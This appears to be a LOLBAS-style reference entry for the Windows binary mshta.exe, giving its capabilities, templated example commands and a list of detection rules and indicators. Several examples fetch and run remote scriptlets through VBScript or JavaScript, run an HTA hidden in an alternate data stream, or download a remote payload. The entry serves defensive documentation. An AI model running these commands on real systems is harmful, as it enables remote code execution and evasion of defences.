windows enabled community high v1.0.0

mshta

Used by Windows to execute html applications. (.hta) Located at: C:\Windows\System32\mshta.exe; C:\Windows\SysWOW64\mshta.exe.

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mshta
mshta

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
system.file.alternate-data-stream
network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: filesystem_writeprocess_spawnnetwork_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. (Execute code)

mshta.exe {PATH:.hta}

Executes VBScript supplied as a command line argument. (Execute code)

mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))

Executes JavaScript supplied as a command line argument. (Execute code)

mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. (Execute code hidden in alternate data stream)

mshta.exe "{PATH_ABSOLUTE}:file.hta"

It will download a remote payload and place it in INetCache. (Downloads payload from remote server)

mshta.exe {REMOTEURL}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml
sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml
elastic https://github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml
elastic https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml
elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
splunk https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml
splunk https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml
splunk https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml
splunk https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml
splunk https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml
blockrule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
ioc mshta.exe executing raw or obfuscated script within the command-line
ioc General usage of HTA file
ioc msthta.exe network connection to Internet/WWW resource
ioc DotNet CLR libraries loaded into mshta.exe
ioc DotNet CLR Usage Log - mshta.exe.log

Documentation

mshta

mshta is a Windows LOLBin. Used by Windows to execute html applications. (.hta) Located at: C:\Windows\System32\mshta.exe; C:\Windows\SysWOW64\mshta.exe.

References